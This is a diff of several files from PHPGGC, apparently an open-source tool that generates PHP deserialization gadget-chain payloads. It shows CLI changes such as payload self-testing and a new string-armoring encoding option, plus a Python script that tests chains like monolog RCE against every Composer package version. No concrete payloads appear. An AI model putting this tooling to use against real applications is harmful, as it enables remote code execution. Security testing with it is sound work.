158 | 196 | } |
51 | 51 | |
52 | 52 | $phar = new \Phar($path); |
53 | 53 | $phar->startBuffering(); |
54 | $phar->addFromString("dummy", 'test'); | |
55 | 54 | $phar->addFromString($this->parameters['filename'], 'test'); |
56 | 55 | $phar->setStub( |
57 | 56 | $this->parameters['prefix'] . |
0 | <?php | |
1 | ||
2 | namespace PHPGGC; | |
3 | ||
4 | /** | |
5 | * Utility functions. | |
6 | */ | |
7 | class Util | |
8 | { | |
9 | /** | |
10 | * Creates a file in the temporary directory. | |
11 | * | |
12 | * @param string $name Filename | |
13 | * @param string $contents Contents of the file | |
14 | * | |
15 | * @return string Full path to the file | |
16 | */ | |
17 | static public function temp_file($name, $contents) | |
18 | { | |
19 | $path = static::temp_path($name); | |
20 | file_put_contents($path, $contents); | |
21 | return $path; | |
22 | } | |
23 | ||
24 | /** | |
25 | * Creates a file in the temporary directory. | |
26 | * | |
27 | * @param string $contents Contents of the file | |
28 | * @param string $prefix A string to prepend to the filename | |
29 | * @param string $suffix A string to append to the filename | |
30 | * | |
31 | * @return string Full path to the file | |
32 | */ | |
33 | static public function rand_file($contents, $prefix='', $suffix='') | |
34 | { | |
35 | $path = static::rand_path($prefix, $suffix); | |
36 | file_put_contents($path, $contents); | |
37 | return $path; | |
38 | } | |
39 | ||
40 | /** | |
41 | * Returns a random temporary file path. | |
42 | * | |
43 | * @param string $prefix A string to prepend to the filename | |
44 | * @param string $suffix A string to append to the filename | |
45 | * | |
46 | * @return string Full path to the file | |
47 | */ | |
48 | static public function rand_path($prefix='', $suffix='') | |
49 | { | |
50 | return static::temp_path( | |
51 | $prefix . 'phpggc' . sha1(rand()) . $suffix | |
52 | ); | |
53 | } | |
54 | ||
55 | /** | |
56 | * Returns a temporary file path whose basename is $name | |
57 | * | |
58 | * @param string $name Name of the temporary file | |
59 | * | |
60 | * @return string Full path to the file | |
61 | */ | |
62 | static public function temp_path($name) | |
63 | { | |
64 | return sys_get_temp_dir() . DIRECTORY_SEPARATOR . $name; | |
65 | } | |
66 | }⏎ |
37 | 37 | { |
38 | 38 | global $argv; |
39 | 39 | |
40 | $parameters = $this->parse_cmdline($argv); | |
41 | ||
42 | if($parameters === null) | |
40 | $arguments = $this->parse_cmdline($argv); | |
41 | ||
42 | if($arguments === null) | |
43 | 43 | return; |
44 | 44 | |
45 | if(count($parameters) < 1) | |
45 | if(count($arguments) < 1) | |
46 | 46 | { |
47 | 47 | $this->help(); |
48 | 48 | return; |
49 | 49 | } |
50 | 50 | |
51 | $class = array_shift($parameters); | |
51 | $class = array_shift($arguments); | |
52 | 52 | $gc = $this->get_gadget_chain($class); |
53 | 53 | |
54 | 54 | $this->setup_enhancements(); |
55 | $parameters = $this->get_type_parameters($gc, $parameters); | |
56 | $generated = $this->serialize($gc, $parameters); | |
57 | 55 | |
58 | 56 | if(in_array('test-payload', $this->options)) |
59 | $this->test_payload($gc, $generated); | |
57 | { | |
58 | if(count($arguments) > 0) | |
59 | $this->o( | |
60 | "WARNING: Testing a payload ignores payload arguments." | |
61 | ); | |
62 | $this->test_payload($gc); | |
63 | } | |
60 | 64 | else |
65 | { | |
66 | $arguments = $this->get_type_arguments($gc, $arguments); | |
67 | $generated = $this->serialize($gc, $arguments); | |
61 | 68 | $this->output_payload($generated); |
62 | } | |
63 | ||
64 | /** | |
65 | * Runs generated payload using the ./template/test_payload.php script. | |
66 | * We have to use system() here, because the classes used during the | |
67 | * deserialization process are already defined by PHPGGC, and there is no | |
68 | * mechanism allowing to delete classes in PHP. Therefore, a new PHP process | |
69 | * has to be created. | |
70 | */ | |
71 | public function test_payload($gc, $payload) | |
69 | } | |
70 | } | |
71 | ||
72 | /** | |
73 | * Tests whether the payload works in the current environement. | |
74 | * PHPGGC will generate test arguments, include vendor/autoload.php, run the | |
75 | * payload, and check whether it was run successfully. | |
76 | * The script will exit with status 0 if the payload triggered, 1 otherwise. | |
77 | */ | |
78 | public function test_payload($gc) | |
72 | 79 | { |
73 | 80 | $this->o('Trying to deserialize payload...'); |
81 | $arguments = $gc->test_setup(); | |
82 | $payload = $this->serialize($gc, $arguments); | |
74 | 83 | $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector; |
75 | system( | |
84 | ||
85 | # We have to use system() here, because the classes used during the | |
86 | # deserialization process are already defined by PHPGGC, and there is no | |
87 | # mechanism allowing to delete classes in PHP. Therefore, a new PHP process | |
88 | # has to be created. | |
89 | $output = shell_exec( | |
76 | 90 | escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' . |
77 | 91 | escapeshellarg($vector) . ' ' . |
78 | 92 | escapeshellarg(base64_encode($payload)) |
79 | 93 | ); |
94 | $result = $gc->test_confirm($arguments, $output); | |
95 | ||
96 | $gc->test_cleanup($arguments); | |
97 | ||
98 | if($result) | |
99 | { | |
100 | $this->o('SUCCESS: Payload triggered !'); | |
101 | exit(0); | |
102 | } | |
103 | else | |
104 | { | |
105 | $this->o('FAILURE: Payload did not trigger !'); | |
106 | exit(1); | |
107 | } | |
80 | 108 | } |
81 | 109 | |
82 | 110 | /** |
128 | 156 | { |
129 | 157 | $enhancements = []; |
130 | 158 | |
159 | if( | |
160 | in_array('ascii-strings', $this->options) && | |
161 | in_array('armor-strings', $this->options) | |
162 | ) { | |
163 | $this->e( | |
164 | 'Both ascii-strings and armor-strings are both set but they ' . | |
165 | 'are mutually exclusive' | |
166 | ); | |
167 | } | |
168 | ||
131 | 169 | if(isset($this->parameters['wrapper'])) |
132 | 170 | $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']); |
133 | 171 | if(in_array('fast-destruct', $this->options)) |
134 | 172 | $enhancements[] = new Enhancement\FastDestruct(); |
135 | 173 | if(in_array('ascii-strings', $this->options)) |
136 | $enhancements[] = new Enhancement\ASCIIStrings(); | |
174 | $enhancements[] = new Enhancement\ASCIIStrings(false); | |
175 | if(in_array('armor-strings', $this->options)) | |
176 | $enhancements[] = new Enhancement\ASCIIStrings(true); | |
137 | 177 | if(isset($this->parameters['plus-numbers'])) |
138 | 178 | $enhancements[] = new Enhancement\PlusNumbers( |
139 | 179 | $this->parameters['plus-numbers'] |
200 | 240 | */ |
201 | 241 | public static function autoload_register() |
202 | 242 | { |
203 | spl_autoload_register(array(static::class, 'autoload')); | |
243 | spl_autoload_register([static::class, 'autoload']); | |
204 | 244 | } |
205 | 245 | |
206 | 246 | /** |
262 | 302 | |
263 | 303 | $base = DIR_GADGETCHAINS . '/' . $name . '/' . $type . '/'; |
264 | 304 | |
265 | for($i=1;file_exists($base . $i);$i++); | |
305 | for($i=1; file_exists($base . $i); $i++); | |
266 | 306 | |
267 | 307 | $base = $base . $i; |
268 | 308 | mkdir($base, 0777, true); |
526 | 566 | $this->o(' right after the unserialize() call, as opposed to at the end of the'); |
527 | 567 | $this->o(' script'); |
528 | 568 | $this->o(' -a, --ascii-strings'); |
529 | $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This'); | |
530 | $this->o(' replaces every non-ASCII value to an hexadecimal representation:'); | |
531 | $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";'); | |
569 | $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for non-printable chars.'); | |
570 | $this->o(' This replaces every non-ASCII value to an hexadecimal representation:'); | |
571 | $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";'); | |
532 | 572 | $this->o(' This is experimental and it might not work in some cases.'); |
573 | $this->o(' -A, --armor-strings'); | |
574 | $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for every char.'); | |
575 | $this->o(' This replaces every character to an hexadecimal representation:'); | |
576 | $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"\\41\\00\\42\\09\\0D";'); | |
577 | $this->o(' This is experimental and it might not work in some cases.'); | |
578 | $this->o(' Note: Since strings grow by a factor of 3 using this option, the payload can get'); | |
579 | $this->o(' really long.'); | |
533 | 580 | $this->o(' -n, --plus-numbers <types>'); |
534 | 581 | $this->o(' Adds a + symbol in front of every number symbol of the given type.'); |
535 | 582 | $this->o(' For instance, -n iO adds a + in front of every int and object name size:'); |
536 | 583 | $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}'); |
537 | 584 | $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +'); |
538 | 585 | $this->o(' -w, --wrapper <wrapper>'); |
539 | $this->o(' Specifies a file containing either or both functions:'); | |
540 | $this->o(' - process_parameters($parameters): called right before object is created'); | |
541 | $this->o(' - process_object($object): called right before the payload is serialized'); | |
542 | $this->o(' - process_serialized($serialized): called right after the payload is serialized'); | |
586 | $this->o(' Specifies a file containing at least one wrapper functions:'); | |
587 | $this->o(' - process_parameters(array $parameters): called right before object is created'); | |
588 | $this->o(' - process_object(object $object): called right before the payload is serialized'); | |
589 | $this->o(' - process_serialized(string $serialized): called right after the payload is serialized'); | |
543 | 590 | $this->o(''); |
544 | 591 | $this->o('ENCODING'); |
545 | 592 | $this->o(' -s, --soft Soft URLencode'); |
552 | 599 | $this->o('CREATION'); |
553 | 600 | $this->o(' -N, --new <framework> <type>'); |
554 | 601 | $this->o(' Creates the file structure for a new gadgetchain for given framework'); |
555 | $this->o(' Example: ./phpggc -n Drupal RCE'); | |
602 | $this->o(' Example: ./phpggc -N Drupal RCE'); | |
556 | 603 | $this->o(' --test-payload'); |
557 | 604 | $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.'); |
558 | 605 | $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.'); |
610 | 657 | # Enhancements |
611 | 658 | 'fast-destruct' => false, |
612 | 659 | 'ascii-strings' => false, |
660 | 'armor-strings' => false, | |
613 | 661 | 'plus-numbers' => true, |
614 | 662 | # Encoders |
615 | 663 | 'soft' => false, |
631 | 679 | 'phar-jpeg' => 'pj', |
632 | 680 | 'phar-prefix' => 'pp', |
633 | 681 | 'phar-filename' => 'pf', |
634 | 'new' => 'N' | |
682 | 'new' => 'N', | |
683 | 'ascii-strings' => 'a', | |
684 | 'armor-strings' => 'A' | |
635 | 685 | ] + $abbreviations; |
636 | 686 | |
637 | 687 | # If we are in this function, the argument starts with a dash, so we |
783 | 833 | } |
784 | 834 | |
785 | 835 | /** |
786 | * Convert command line parameters into an array of named parameters, | |
836 | * Converts command line arguments into an array of named arguments, | |
787 | 837 | * specific to the type of payload. |
788 | 838 | */ |
789 | protected function get_type_parameters($gc, $parameters) | |
790 | { | |
791 | $arguments = $gc::$parameters; | |
792 | ||
793 | $values = @array_combine($arguments, $parameters); | |
794 | ||
795 | if($values === false) | |
839 | protected function get_type_arguments($gc, $arguments) | |
840 | { | |
841 | $keys = $gc::$parameters; | |
842 | if(count($keys) != count($arguments)) | |
796 | 843 | { |
797 | 844 | $this->o($gc, 2); |
798 | 845 | $this->e( |
800 | 847 | $this->_get_command_line_gc($gc) |
801 | 848 | ); |
802 | 849 | } |
803 | ||
804 | return $values; | |
850 | return array_combine($keys, $arguments); | |
805 | 851 | } |
806 | 852 | |
807 | 853 | protected function _get_command_line_gc($gc) |
13 | 13 | catch(\PHPGGC\Exception $e) |
14 | 14 | { |
15 | 15 | print("ERROR: " . $e->getMessage() . "\n"); |
16 | exit(1); | |
16 | 17 | } |
0 | #!/usr/bin/env python3 | |
1 | """ | |
2 | Test PHPGGC gadget chains against every version of a composer package. | |
3 | ||
4 | Usage: | |
5 | $ ./test-gc-compatibility.py <composer-package> <gadget-chain-1> [gadget-chain-2...] | |
6 | ||
7 | Example: | |
8 | $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 | |
9 | ||
10 | Required executables: | |
11 | The program requires phpggc and composer. | |
12 | By default, it will use the `phpggc` from the current directory, and the | |
13 | composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH` | |
14 | and `COMPOSER_PATH` environment variables. | |
15 | If a file cannot be ran straight up, we'll try using `php <file>` instead. | |
16 | ||
17 | Dependencies: | |
18 | $ pip install rich | |
19 | ||
20 | Credit goes to @M4yFly for the original idea and implementation. | |
21 | """ | |
22 | ||
23 | import subprocess | |
24 | import argparse | |
25 | import pathlib | |
26 | import os | |
27 | import re | |
28 | import tempfile | |
29 | import shutil | |
30 | ||
31 | ||
32 | try: | |
33 | from rich import print | |
34 | except ImportError: | |
35 | print("Please install the `rich` python3 package to use this program.") | |
36 | print("$ pip install rich") | |
37 | exit() | |
38 | ||
39 | ||
40 | from rich.progress import Progress | |
41 | from rich.table import Table | |
42 | ||
43 | ||
44 | class Tester: | |
45 | """Tests gadget chains against a composer package.""" | |
46 | ||
47 | _package = None | |
48 | _cwd = None | |
49 | ||
50 | def run(self): | |
51 | args = setup_arguments() | |
52 | self._cwd = os.curdir | |
53 | self._gcs = args.gadget_chain | |
54 | self._executor = Executor() | |
55 | self._package = Package(args.package, executor=self._executor) | |
56 | ||
57 | for gc in self._gcs: | |
58 | self.ensure_gc_exists(gc) | |
59 | ||
60 | versions = self._package.get_versions() | |
61 | print( | |
62 | f"Testing {len(versions)} versions for " | |
63 | f"[blue]{self._package.name}[/blue] against " | |
64 | f"{len(self._gcs)} gadget chains." | |
65 | ) | |
66 | ||
67 | # We'll jump to a temporary directory for phpggc and composer to work | |
68 | # without breaking anything. | |
69 | os.chdir(self._package.work_dir) | |
70 | ||
71 | self.test_chains_on_versions(versions) | |
72 | ||
73 | def ensure_gc_exists(self, name): | |
74 | """Makes sure that a GC exists.""" | |
75 | if not self._executor.phpggc("-i", name): | |
76 | raise TesterException(f"Gadget chain does not exist: {name}") | |
77 | ||
78 | def test_chains_on_versions(self, versions): | |
79 | """Contains the main logic. Each version of the package will be | |
80 | installed, and each gadget chain will be tested against it. Results | |
81 | are kept in a table. | |
82 | """ | |
83 | table = Table(self._package.name) | |
84 | table.add_column("Package", justify="center") | |
85 | ||
86 | for gc in self._gcs: | |
87 | table.add_column(gc, justify="center") | |
88 | ||
89 | errored_payload_rows = (self.__status_str(False),) + ("[yellow]-",) * len( | |
90 | self._gcs | |
91 | ) | |
92 | ||
93 | with Progress() as progress: | |
94 | ptask = progress.add_task("Testing chains", total=len(versions)) | |
95 | ||
96 | for version in versions: | |
97 | progress.update(ptask, advance=1, description=f"Testing ({version})") | |
98 | try: | |
99 | tests = self.test_chains_on_version(version) | |
100 | except ValueError: | |
101 | table.add_row(version, *errored_payload_rows) | |
102 | else: | |
103 | outputs = [self.__status_str(test) for test in tests] | |
104 | table.add_row(version, self.__status_str(True), *outputs) | |
105 | ||
106 | progress.update(ptask, visible=False) | |
107 | ||
108 | print(table) | |
109 | ||
110 | def __status_str(self, test): | |
111 | return test and "[green]OK" or "[red]KO" | |
112 | ||
113 | def test_chains_on_version(self, version): | |
114 | self._package.install_version(version) | |
115 | return [self._executor.phpggc("--test-payload", gc) for gc in self._gcs] | |
116 | ||
117 | def cleanup(self): | |
118 | """Cleans up anything we might have used and go back to the original | |
119 | directory. | |
120 | """ | |
121 | if self._cwd: | |
122 | os.chdir(self._cwd) | |
123 | if self._package: | |
124 | self._package.cleanup() | |
125 | ||
126 | ||
127 | class TesterException(Exception): | |
128 | pass | |
129 | ||
130 | ||
131 | def setup_arguments(): | |
132 | parser = argparse.ArgumentParser( | |
133 | description="Test PHPGGC gadget chains against every version of a composer package." | |
134 | ) | |
135 | parser.add_argument("package") | |
136 | parser.add_argument("gadget_chain", nargs="+") | |
137 | ||
138 | return parser.parse_args() | |
139 | ||
140 | ||
141 | class Executor: | |
142 | """Small wrapper to execute composer and phpggc.""" | |
143 | ||
144 | def __init__(self): | |
145 | self.get_commands() | |
146 | ||
147 | def _try_run_command(self, *cmd): | |
148 | """Tries to run a command to completion: if no exception happens and the | |
149 | return code is zero, returns True. Otherwise, False. | |
150 | """ | |
151 | try: | |
152 | process = self._run(*cmd) | |
153 | except (PermissionError, FileNotFoundError) as e: | |
154 | return False | |
155 | return process.returncode == 0 | |
156 | ||
157 | def _get_valid_run_command(self, php_file): | |
158 | """Tries to run a PHP file directly (e.g. `./file.php`). If it does not | |
159 | work, tries with `php file.php`. | |
160 | Returns the arguments required to launch the file, as tuple. | |
161 | If nothing works, an exception is raised. | |
162 | """ | |
163 | # We will change our current directory during the execution. | |
164 | # If we can find php_file in the current path, refer to it using an | |
165 | # absolute path. | |
166 | # Otherwise, just assume it's an alias or from $PATH. | |
167 | path = pathlib.Path(php_file) | |
168 | if path.exists(): | |
169 | php_file = str(path.absolute()) | |
170 | ||
171 | if self._try_run_command(php_file): | |
172 | return (php_file,) | |
173 | elif path.exists() and self._try_run_command("php", php_file): | |
174 | return ("php", php_file) | |
175 | raise TesterException(f"Unable to run PHP file: {php_file}") | |
176 | ||
177 | def get_commands(self): | |
178 | """Gets the paths of the two required programs, phpggc and composer, and | |
179 | verifies if they need to be started with "php" as a prefix. | |
180 | """ | |
181 | work_dir = pathlib.Path(__file__).parent.resolve() | |
182 | phpggc = os.environ.get("PHPGGC_PATH", str(work_dir / "phpggc")) | |
183 | composer = os.environ.get("COMPOSER_PATH", "composer") | |
184 | ||
185 | if not pathlib.Path(phpggc).is_file(): | |
186 | raise TesterException("phpggc executable not found") | |
187 | ||
188 | self._phpggc = self._get_valid_run_command(phpggc) | |
189 | self._composer = self._get_valid_run_command(composer) | |
190 | ||
191 | def _run(self, *args): | |
192 | """Runs a program with given arguments.""" | |
193 | return subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
194 | ||
195 | def composer(self, *args): | |
196 | """Runs composer and returns stdout and stderr as a tuple.""" | |
197 | process = self._run(*self._composer, *args) | |
198 | return process.stdout.decode("utf-8"), process.stderr.decode("utf-8") | |
199 | ||
200 | def phpggc(self, *args): | |
201 | """Runs PHPGGC with given arguments and returns whether the execution | |
202 | was successful or not. | |
203 | """ | |
204 | return self._run(*self._phpggc, *args).returncode == 0 | |
205 | ||
206 | ||
207 | class Package: | |
208 | """Represents a composer package.""" | |
209 | ||
210 | def __init__(self, name, executor): | |
211 | self.name = name | |
212 | self._executor = executor | |
213 | self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc")) | |
214 | ||
215 | def get_versions(self): | |
216 | """Uses composer to obtain each version (or tag) for the package.""" | |
217 | versions, _ = self._executor.composer("show", "-a", self.name) | |
218 | versions = re.search(r"versions :(.*)\ntype", versions).group(1) | |
219 | return [v.strip() for v in versions.split(",")] | |
220 | ||
221 | def clean_workdir(self, final=False): | |
222 | """Removes any composer related file in the working directory, such as | |
223 | composer.json and vendor/. | |
224 | """ | |
225 | (self.work_dir / "composer.json").unlink(missing_ok=True) | |
226 | (self.work_dir / "composer.lock").unlink(missing_ok=True) | |
227 | shutil.rmtree(self.work_dir / "vendor", ignore_errors=True) | |
228 | if final: | |
229 | self.work_dir.rmdir() | |
230 | ||
231 | def install_version(self, version): | |
232 | """Uses composer to install a specific version of the package.""" | |
233 | self.clean_workdir() | |
234 | _, stderr = self._executor.composer( | |
235 | "require", "-q", "--ignore-platform-reqs", f"{self.name}:{version}" | |
236 | ) | |
237 | if stderr: | |
238 | raise ValueError(f"Unable to install version: {version}") | |
239 | ||
240 | def cleanup(self): | |
241 | self.clean_workdir(final=True) | |
242 | ||
243 | ||
244 | if __name__ == "__main__": | |
245 | tester = Tester() | |
246 | ||
247 | try: | |
248 | tester.run() | |
249 | except TesterException as e: | |
250 | print(f"[red]Error: {e}[/red]") | |
251 | except KeyboardInterrupt: | |
252 | print(f"[red]Execution interrupted.") | |
253 | finally: | |
254 | tester.cleanup() |